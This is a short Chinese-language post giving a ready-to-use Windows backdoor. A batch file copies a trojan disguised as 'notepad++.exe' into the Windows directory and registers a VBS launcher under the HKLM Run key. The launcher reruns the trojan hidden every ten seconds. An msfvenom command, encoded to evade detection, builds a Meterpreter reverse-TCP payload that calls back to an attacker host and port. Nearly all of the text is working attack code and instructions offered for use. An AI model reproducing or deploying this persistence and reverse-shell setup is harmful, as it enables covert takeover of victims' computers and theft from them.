install.bat

@echo off
if exist %windir%\notepad++.exe goto nt
copy notepad++.exe %windir%\
copy x86_run.vbs %windir%\
:nt
echo the notepad++ file is exist!
echo;
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v notepad++ /t reg_sz /d %windir%\x86_run.vbs /f
pause

注:notepad++.exe和notepad++是木马(使用时得改名)

x86_run.vbs

do 
wscript.createobject("wscript.shell").run "notepad++.exe",0,true
wscript.sleep(10000)
loop

注:10秒运行一次

[notepad++.exe] [install.bat] [x86_run.vbs]  三个文件一起扔进"C:\Windows"下, 运行install.bat即可.

notepad++.exe的生成,请参考kali linux msf

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.137.135 LPORT=4599 -f exe > notepad++.exe

 

相关文章:

  • 2022-02-08
  • 2022-02-08
  • 2021-10-25
  • 2021-06-28
  • 2021-10-12
  • 2022-12-23
  • 2021-10-16
  • 2021-11-30
猜你喜欢
  • 2022-12-23
  • 2021-12-19
  • 2021-10-21
  • 2022-12-23
  • 2021-12-19
  • 2021-09-27
相关资源
相似解决方案